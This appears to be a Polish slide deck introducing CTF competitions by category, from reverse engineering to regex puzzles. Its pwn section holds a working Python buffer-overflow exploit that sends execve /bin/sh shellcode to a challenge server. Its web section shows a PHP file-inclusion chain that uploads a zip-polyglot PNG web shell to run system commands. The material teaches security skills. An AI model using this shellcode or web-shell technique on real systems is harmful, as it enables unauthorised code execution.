Mateusz Szymaniec
Jarosław Jedynak
Mateusz Szymaniec
Mateusz Szymaniec
Jarosław Jedynak
Cytując ctftime.org:
TL;DR: Konkurs dla "entuzjastów bezpieczeństwa komputerowego"
int main() { char *input = read_input(); if (verify(input)) { puts("good"); puts(decrypt(input, flag)); } else { puts("bad"); } }
Ogólny schemat - pobierane są jakieś dane, później na nich są robione operacje, i jeśli wprowadzone dane są dobre, dostajemy flagę.
Przykład (bardzo) prostego zadania na CTF
╭─msm@europa /home/msm/tmp
╰─$ ./challenge
Password: test
fail
╭─msm@europa /home/msm/tmp
╰─$ ./challenge
Password: niebieski7
fail
Cel: znalezienie poprawnego hasła.
Hasło jest pobierane za pomocą scanf i porównywane z flagą.
Hexrays Decompiler pozwala na RE nawet jeśli ktoś kompletnie nie zna asemblera.
Bardzo upraszcza analizę (w pracy i na CTF).
╭─msm@europa /home/msm/tmp <master*>
╰─$ ./challenge
Password: flag{secretpassword}
good
W prawdziwych CTFach jest o wiele trudniej, ale schemat jest zazwyczaj podobny.
Przede wszystkim, flaga nigdy nie jest zapisana czystym tekstem w programie (to by było za proste).
Podstawowy schemat przerabiany na tysiące różnych sposobów:
Najczęściej dostajemy x86/x64 ELF (rzadziej PE na Windowsa).
int __cdecl main(int argc, const char **argv, const char **envp) { char buffer[128]; // [sp+18h] [bp-88h]@1 double canary; // [sp+98h] [bp-8h]@1 canary = 64.33333; setvbuf(stdout, 0, 2, 0); printf("Buff: %p\n", buffer); __isoc99_scanf("%s", buffer); if ( 64.33333 != canary ) { puts("Nope"); exit(1); } return printf(str, buffer); }
import socket s = socket.socket() s.connect(('54.173.98.115', 1259)) buf_addr = s.recv(17)[8:16] s.send('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80' .decode('hex').ljust(128, 'a')) # shellcode: execve /bin/sh s.send('a5315a4755155040'.decode('hex')) # stack guard s.send('aaaaaaaaaaaa') # padding s.send(buf_addr.decode('hex')[::-1]) # ret: buffer address s.send('\n') print (s.recv(9999)) s.send('cat flag\n') print (s.recv(9999)) s.close()
Nasze ulubione narzędzie.
Działa na wszystkim, wszędzie i od zawsze.
Nowe narzędzie (od @vector35), silnie ostatnio promowane.
Kolejne nowe narzędzie, w pełni konsolowe (<3 cmd).
Vim wśród debuggerów.
I jeszcze jedno nowe narzędzie. Nie wiemy czy lubimy, bo jeszcze nigdy nie używaliśmy.
Aplikacje w:
Strona umożliwiająca uploadowanie i tworzenie/edytowanie ikonek w .png.
Nawigacja: index.php?op=home
A co jeżeli tam jest include($_GET['op'] . '.php')
?
Krok 1. Pobranie kodów źródłowych przez wrapper php.
?op=php://filter/read=convert.base64-encode/resource=index
Krok 2. Analiza aplikacji
Ale to wciąż będzie tylko obrazek.
PHP ma również filtr od czytania zipów.
Zatem spróbujmy stworzyć png, który jest jednocześnie zipem w którym jest php-shell. Przez program ala ms paint na stronie internetowej.
What?
504B0304140000000800EE769148F0D042901D000000210000000500
0000732E706870B3B12FC82850508977770D89564F548FD5803293D4
6335ADEDED78B900504B01021400140000000800EE769148F0D04290
1D00000021000000050000000000000001002000000029000000732E
706870504B0506000000000100010033000000690000000000
http://pixelshop.pwning.xxx/?a=system&b=ls /&op=zip://uploads/
847cf5ebb78615e61ab646189e3ffbff138801ad.png%23s
Narzędzia:
Raczej bez automatycznych skanerów podatności.
Misja jest zawsze taka sama - dostajemy zaszyfrowaną flagę, musimy ją odzyskać.
Żeby to było wykonalne, dostajemy też zazwyczaj kilka pomocy spośród:
Widać pewien wzorzec.
Typowa informatyka śledcza
Obrazy dyskow (często uszkodzone)
Network forensics (PCAPy)
Narzędzia:
Steganografia graficzna / wideo / audio
Typy zadań:
Dane ukryte w pliku dźwiękowym.
Widoczne za pomocą spektrogramu.
Narzędzia:
Zadania Misc
są... różne!
On Windows, loading a library and having it's code run in another process is called _
).Polecenie: napisać kilka regexów które będą pasować do wymaganych rzeczy (z mocnym ograniczeniem na długość).
Please match string that contains "select" as a case insensitive subsequence.
Odpowiedź:
(?i)s.*e.*l.*e.*c.*t
Proste?
a^nb^n
Yes, we know it is a classical example of context free grammer.
Napisy postaci aabb
, aaaabbbb
(tyle samo a
i b
)
Na wykładach teorii języków i automatów
uczymy się, że takie wyrażenie regularne nie istnieje.
^(a\g<1>?b)$
x^p
A prime is a natural number greater than 1 that has no positive divisors other than 1 and itself.
Napisy o długości będącej liczbą pierwszą.
Odpowiedź:
^(?!(xx+)\1+$)xx+$
Palindrome
Both "QQ" and "TAT" are palindromes, but "PPAP" is not.
Napisy będące palindromami.
Odpowiedź:
^((.)\g<1>?\2|.?)$
a^nb^nc^n
Is CFG too easy for you? How about some context SENSITIVE grammer?
Napisy postaci abc
, aaabbbccc
, itp (tyle samo a
, b
i c
).
Odpowiedź:
^(?=(a\g<1>?b)c)a+(b\g<2>?c)$
Regex matchujący tylko lata przestępne
(?!^0\d)(^\d*((((^|0|[2468])[048])|[13579][26])00$)|^\d*((0[48]|(^0*|[2468
])[048]|[13579][26]))$)
Regex matchujący wielokrotności liczby 42 (O_o
)
^(?=^-?(\d*[02468])$)(?=^-?((?!$)(?>(|(?<Y>[147]\g<X>|[0369]\g<Y>|[258]\g
<Z>))(|(?<Z>[258]\g<X>|[147]\g<Y>|[0369]\g<Z>)))(?<X>[0369]\g<X>|[258]\g<
Y>|[147]\g<Z>|$))$)(?=^-?((?!$)(?>(|(?<B>4\g<A>|5\g<B>|6\g<C>|[07]\g<D>|[
18]\g<E>|[29]\g<F>|3\g<G>))(|(?<C>[18]\g<A>|[29]\g<B>|3\g<C>|4\g<D>|5\g<E
>|6\g<F>|[07]\g<G>))(|(?<D>5\g<A>|6\g<B>|[07]\g<C>|[18]\g<D>|[29]\g<E>|3\
g<F>|4\g<G>))(|(?<E>[29]\g<A>|3\g<B>|4\g<C>|5\g<D>|6\g<E>|[07]\g<F>|[18]\
g<G>))(|(?<F>6\g<A>|[07]\g<B>|[18]\g<C>|[29]\g<D>|3\g<E>|4\g<F>|5\g<G>))(
|(?<G>3\g<A>|4\g<B>|5\g<C>|6\g<D>|[07]\g<E>|[18]\g<F>|[29]\g<G>)))(?<A>$|
[07]\g<A>|[18]\g<B>|[29]\g<C>|3\g<D>|4\g<E>|5\g<F>|6\g<G>))$)-?(0|[1-9]\d
*)$
Można nauczyć się dziwnych rzeczy, których z własnej woli by sie nie ruszyło.
Oryginalnie zadania rodem z Olimpiady Informatycznej, np:
tl;dr use matrixes with fastpow to get the desired results in O(logn) time
Ale bywa i alternatywnie, np. pisanie solverów:
Są dobre ctfy i złe ctfy
Globalny ranking CTFów i zespołów: ctftime.org
Najważniejszy CTF: DEFCON
Najważniejszy polski CTF: Confidence
(zaczynamy od prostych pytań)
picoctf
streamy Gynvaela
ctftime.org
github.com/ctfs/
github.com/p4-team/ctf/
https://www.cert.pl/praca/ :)
msm msm@4programmers.net @MsmCode
rev rev@4programmers.net @RevToJa